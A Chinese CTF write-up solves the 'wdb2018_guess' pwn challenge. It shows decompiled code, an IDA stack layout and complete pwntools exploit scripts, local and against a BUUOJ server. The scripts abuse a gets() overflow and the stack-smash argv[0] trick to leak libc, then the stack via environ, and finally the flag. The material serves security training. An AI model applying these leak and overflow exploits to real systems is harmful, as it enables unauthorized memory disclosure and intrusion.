wdb2018_guess
知识点: environ泄露栈地址
environ
是一个全局变量(char **environ
),位于 libc 中,指向当前进程的环境变量字符串数组。
环境变量通常存放在栈的顶部附近(高地址),因此 environ
指向的地址位于栈空间内。
由于 environ
本身存储在 libc
的 BSS
段,但其指向的内容(环境变量)在栈上,因此通过泄露 environ
的值,可以间接获得一个稳定的栈地址。
这个地址通常位于栈顶附近,距离主函数的返回地址、局部变量等有相对固定的偏移。environ泄露栈地址参考 Stack smash
准备 64 位,开了 NX
和 canary
保护 题目用的 glibc
版本是 2.23-0ubuntu10_amd64
,没下载到这个版本,用 2.23-0ubuntu11.3_amd64
这个版本发现数值是一样的,所以改成了这个版本,最后使用的 libc
文件是题目给的
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF __int64 n3_1; // [rsp+20h] [rbp-80h] __int64 n3; // [rsp+28h] [rbp-78h] char buf[48]; // [rsp+30h] [rbp-70h] BYREF char s2[56]; // [rsp+60h] [rbp-40h] BYREF unsigned __int64 v10; // [rsp+98h] [rbp-8h] v10 = __readfsqword(0x28u); n3 = 3LL; LODWORD(stat_loc.__uptr) = 0; n3_1 = 0LL; sub_4009A6(a1, a2, a3); HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0); if ( HIDWORD(stat_loc.__iptr) == -1 ) { perror("./flag.txt"); _exit(-1); } read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL); close(SHIDWORD(stat_loc.__iptr)); puts("This is GUESS FLAG CHALLENGE!"); while ( 1 ) { if ( n3_1 >= n3 ) { puts("you have no sense... bye :-) "); return 0LL; } if ( !(unsigned int)sub_400A11() ) break; ++n3_1; wait((__WAIT_STATUS)&stat_loc); } puts("Please type your guessing flag"); gets(s2); if ( !strcmp(buf, s2) ) puts("You must have great six sense!!!! :-o "); else puts("You should take more effort to get six sence, and one more challenge!!"); return 0LL; }
开头会把 flag
输入到 buf
处 到下面有一个输入点,用 gets
函数,所以存在缓冲区溢出
思路 (在本地调试,记得创建一个 flag.txt
文件) 这题开了 canary
保护,有溢出点,没其他信息,所以可以想到 Stack smash
花式栈溢出技巧的一种,利用栈溢出覆盖 argv[0]
为我们想要输出的字符串的地址,得到 flag
( stack smash
技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary
保护之后,如果发现 canary
被修改的话,程序就会执行 __stack_chk_fail
函数来打印 argv[0]
指针所指向的字符串,正常情况下,这个指针指向了程序名) 但是查看发现我们这里的返回地址 buf
的地址在栈上,并且比我们的输入点还要低,无法通过偏移确定 buf
的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 -00000000000000A0 // Use data definition commands to manipulate stack variables and arguments. -00000000000000A0 // Frame size: A0; Saved regs: 8; Purge: 0 -00000000000000A0 -00000000000000A0 _QWORD var_A0; -0000000000000098 // padding byte -0000000000000097 // padding byte -0000000000000096 // padding byte -0000000000000095 // padding byte -0000000000000094 _DWORD var_94; -0000000000000090 // padding byte -000000000000008F // padding byte -000000000000008E // padding byte -000000000000008D // padding byte -000000000000008C __WAIT_STATUS stat_loc; -0000000000000084 _DWORD var_84; -0000000000000080 _QWORD var_80; -0000000000000078 _QWORD var_78; -0000000000000070 _BYTE buf; -000000000000006F // padding byte -000000000000006E // padding byte -000000000000006D // padding byte -000000000000006C // padding byte -000000000000006B // padding byte -000000000000006A // padding byte -0000000000000069 // padding byte -0000000000000068 // padding byte -0000000000000067 // padding byte -0000000000000066 // padding byte -0000000000000065 // padding byte -0000000000000064 // padding byte -0000000000000063 // padding byte -0000000000000062 // padding byte -0000000000000061 // padding byte -0000000000000060 // padding byte -000000000000005F // padding byte -000000000000005E // padding byte -000000000000005D // padding byte -000000000000005C // padding byte -000000000000005B // padding byte -000000000000005A // padding byte -0000000000000059 // padding byte -0000000000000058 // padding byte -0000000000000057 // padding byte -0000000000000056 // padding byte -0000000000000055 // padding byte -0000000000000054 // padding byte -0000000000000053 // padding byte -0000000000000052 // padding byte -0000000000000051 // padding byte -0000000000000050 // padding byte -000000000000004F // padding byte -000000000000004E // padding byte -000000000000004D // padding byte -000000000000004C // padding byte -000000000000004B // padding byte -000000000000004A // padding byte -0000000000000049 // padding byte -0000000000000048 // padding byte -0000000000000047 // padding byte -0000000000000046 // padding byte -0000000000000045 // padding byte -0000000000000044 // padding byte -0000000000000043 // padding byte -0000000000000042 // padding byte -0000000000000041 // padding byte -0000000000000040 char s2; -000000000000003F // padding byte -000000000000003E // padding byte -000000000000003D // padding byte -000000000000003C // padding byte -000000000000003B // padding byte -000000000000003A // padding byte -0000000000000039 // padding byte -0000000000000038 // padding byte -0000000000000037 // padding byte -0000000000000036 // padding byte -0000000000000035 // padding byte -0000000000000034 // padding byte -0000000000000033 // padding byte -0000000000000032 // padding byte -0000000000000031 // padding byte -0000000000000030 // padding byte -000000000000002F // padding byte -000000000000002E // padding byte -000000000000002D // padding byte -000000000000002C // padding byte -000000000000002B // padding byte -000000000000002A // padding byte -0000000000000029 // padding byte -0000000000000028 // padding byte -0000000000000027 // padding byte -0000000000000026 // padding byte -0000000000000025 // padding byte -0000000000000024 // padding byte -0000000000000023 // padding byte -0000000000000022 // padding byte -0000000000000021 // padding byte -0000000000000020 // padding byte -000000000000001F // padding byte -000000000000001E // padding byte -000000000000001D // padding byte -000000000000001C // padding byte -000000000000001B // padding byte -000000000000001A // padding byte -0000000000000019 // padding byte -0000000000000018 // padding byte -0000000000000017 // padding byte -0000000000000016 // padding byte -0000000000000015 // padding byte -0000000000000014 // padding byte -0000000000000013 // padding byte -0000000000000012 // padding byte -0000000000000011 // padding byte -0000000000000010 // padding byte -000000000000000F // padding byte -000000000000000E // padding byte -000000000000000D // padding byte -000000000000000C // padding byte -000000000000000B // padding byte -000000000000000A // padding byte -0000000000000009 // padding byte -0000000000000008 _QWORD var_8; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
所以这里学习了一种方法用 environ
泄露栈地址 得到 environ
地址需要 libc
基址,所以这里利用 Stack smash
先去泄露 puts
函数的地址,得到 libc
基址,再有 environ
地址,最后通过 environ
地址得到栈地址 先用 gdb
调试,在 gets
处下断点,然后运行,看栈情况,获得输入点与 argv[0]
的偏移 得到偏移量为 0x128 先泄露 puts
函数的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') # io=remote('node5.buuoj.cn',28639) io= process('/home/motaly/guess') elf=ELF('/home/motaly/guess') # libc=ELF('/home/motaly/libc.so.6') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') puts_got=elf.got['puts'] payload=b'a'*0x128+p64(puts_got) io.sendlineafter(b'Please type your guessing flag',payload) io.recvuntil('stack smashing detected ***: ') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr))
有了 libc
基址和 environ
地址
1 2 3 4 5 6 7 8 9 10 11 12 puts_got=elf.got['puts'] payload=b'a'*0x128+p64(puts_got) io.sendlineafter(b'Please type your guessing flag',payload) io.recvuntil('stack smashing detected ***: ') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr)) libc_base=puts_addr-libc.symbols['puts'] log.success('libc_base: '+hex(libc_base)) environ_addr = libc_base + libc.symbols['__environ'] log.success('environ_addr: '+hex(environ_addr))
通过 environ
地址得到栈地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 puts_got=elf.got['puts'] payload=b'a'*0x128+p64(puts_got) io.sendlineafter(b'Please type your guessing flag',payload) io.recvuntil('stack smashing detected ***: ') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr)) libc_base=puts_addr-libc.symbols['puts'] log.success('libc_base: '+hex(libc_base)) environ_addr = libc_base + libc.symbols['__environ'] log.success('environ_addr: '+hex(environ_addr)) payload=b'a'*0x128+p64(environ_addr) io.sendline(payload) io.recvuntil('stack smashing detected ***: ') stack = u64(io.recv(6).ljust(8,b'\x00')) log.success('stack: '+hex(stack)) # gdb.attach(io)
用 gdb
调试,获得栈地址与 flag
的偏移 得到偏移量为 0x168 有了偏移就可以知道 flag
的位置,直接输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 puts_got=elf.got['puts'] payload=b'a'*0x128+p64(puts_got) io.sendlineafter(b'Please type your guessing flag',payload) io.recvuntil('stack smashing detected ***: ') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr)) libc_base=puts_addr-libc.symbols['puts'] log.success('libc_base: '+hex(libc_base)) environ_addr = libc_base + libc.symbols['__environ'] log.success('environ_addr: '+hex(environ_addr)) payload=b'a'*0x128+p64(environ_addr) io.sendline(payload) io.recvuntil('stack smashing detected ***: ') stack = u64(io.recv(6).ljust(8,b'\x00')) log.success('stack: '+hex(stack)) flag_addr=stack-0x168 payload=b'a'*0x128+p64(flag_addr) io.sendlineafter(b'Please type your guessing flag',payload)
脚本 本地
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') # io=remote('node5.buuoj.cn',28639) io= process('/home/motaly/guess') elf=ELF('/home/motaly/guess') # libc=ELF('/home/motaly/libc.so.6') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') puts_got=elf.got['puts'] payload=b'a'*0x128+p64(puts_got) io.sendlineafter(b'Please type your guessing flag',payload) io.recvuntil('stack smashing detected ***: ') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr)) libc_base=puts_addr-libc.symbols['puts'] log.success('libc_base: '+hex(libc_base)) environ_addr = libc_base + libc.symbols['__environ'] log.success('environ_addr: '+hex(environ_addr)) payload=b'a'*0x128+p64(environ_addr) io.sendline(payload) io.recvuntil('stack smashing detected ***: ') stack = u64(io.recv(6).ljust(8,b'\x00')) log.success('stack: '+hex(stack)) flag_addr=stack-0x168 payload=b'a'*0x128+p64(flag_addr) io.sendlineafter(b'Please type your guessing flag',payload) io.interactive()
远程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') io=remote('node5.buuoj.cn',28269) # io= process('/home/motaly/guess') elf=ELF('/home/motaly/guess') libc=ELF('/home/motaly/libc.so.6') # libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') puts_got=elf.got['puts'] payload=b'a'*0x128+p64(puts_got) io.sendlineafter(b'Please type your guessing flag',payload) io.recvuntil('stack smashing detected ***: ') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr)) libc_base=puts_addr-libc.symbols['puts'] log.success('libc_base: '+hex(libc_base)) environ_addr = libc_base + libc.symbols['__environ'] log.success('environ_addr: '+hex(environ_addr)) payload=b'a'*0x128+p64(environ_addr) io.sendline(payload) io.recvuntil('stack smashing detected ***: ') stack = u64(io.recv(6).ljust(8,b'\x00')) log.success('stack: '+hex(stack)) flag_addr=stack-0x168 payload=b'a'*0x128+p64(flag_addr) io.sendlineafter(b'Please type your guessing flag',payload) io.interactive()